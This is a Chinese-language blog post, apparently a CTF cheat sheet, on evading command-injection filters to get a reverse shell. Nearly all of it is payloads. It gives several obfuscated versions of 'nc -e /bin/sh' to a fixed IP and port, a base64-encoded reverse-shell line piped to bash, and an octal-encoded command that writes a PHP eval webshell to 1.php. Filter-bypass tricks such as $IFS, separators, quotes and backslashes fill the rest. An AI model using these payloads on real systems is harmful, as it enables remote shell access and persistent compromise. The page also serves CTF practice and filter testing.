反弹shell绕过技术

1、空格过滤

< 、<>、%20(space)、%09(tab)、$IFS$9、 ${IFS}、$IFS等

2、一些命令分隔符

linux中:%0a 、%0d 、; 、& 、| 、&&、||、“
windows中:%0a、&、|、%1a(一个神奇的角色,作为.bat文件中的命令分隔符)

3、花括号的别样用法

在Linux bash中还可以使用{OS_COMMAND,ARGUMENT}来执行系统命令
{cat,flag}

4、拼接绕过

例如:过滤了sh
使用变量,把过滤的字符设置成变量
nc -e /bin/sh 192.168.90.125 5555
变成:
a=(h)&nc -e /bin/s$a 192.168.90.125 5555
a=(h);nc -e /bin/s$a 192.168.90.125 5555
a=(h)`nc -e /bin/s$a 192.168.90.125 5555`
如果不可以,可以分开执行设置为环境变量
a=h
nc -e /bin/s$a 192.168.90.125 5555

5、编码绕过

1)base64:
cat /flag
echo "Y2F0IC9mbGFn"|base64-d|bash
nc -e /bin/sh 192.168.90.125 5555
echo "bmMgLWUgL2Jpbi9zaCAxOTIuMTY4LjkwLjEyNSA1NTU1"|base64 -d|bash -i
2)hex:
echo "636174202f666c6167" | xxd -r -p|bash ==>cat /flag
3)oct:
$(printf "\154\163") ==>ls
$(printf "\x63\x61\x74\x20\x2f\x66\x6c\x61\x67") ==>cat /flag
{printf,"\x63\x61\x74\x20\x2f\x66\x6c\x61\x67"}|\$0 ==>cat /flag
#可以通过这样来写webshell,内容为<?php @eval($_POST['c']);?>
${printf,"\74\77\160\150\160\40\100\145\166\141\154\50\44\137\120\117\123\124\133\47\143\47\135\51\73\77\76"} >> 1.php

6、单引号和双引号绕过

比如:ca”t flag 或ca””t flag

7、反斜杠绕过

比如:ca\t fl\ag

8、利用Shell 特殊变量绕过

例如,第一个参数是1,第二个参数是2。而参数不存在时其值为空。
$@表示
比如:ca$@t fla$@g
ca$1t fla$2g
nc -e /bin/s$1h 192.168.90.125 5555 (^_^)

9、长度限制

长度限制可以用文件构造的方式来绕过

10、linux中直接查看文件内容的工具

cat、tac、more、less、head、tail、nl、sed、sort、uniq
借鉴:https://www.cnblogs.com/haozhizhi/p/12115265.html

发表评论

电子邮件地址不会被公开。 必填项已用*标注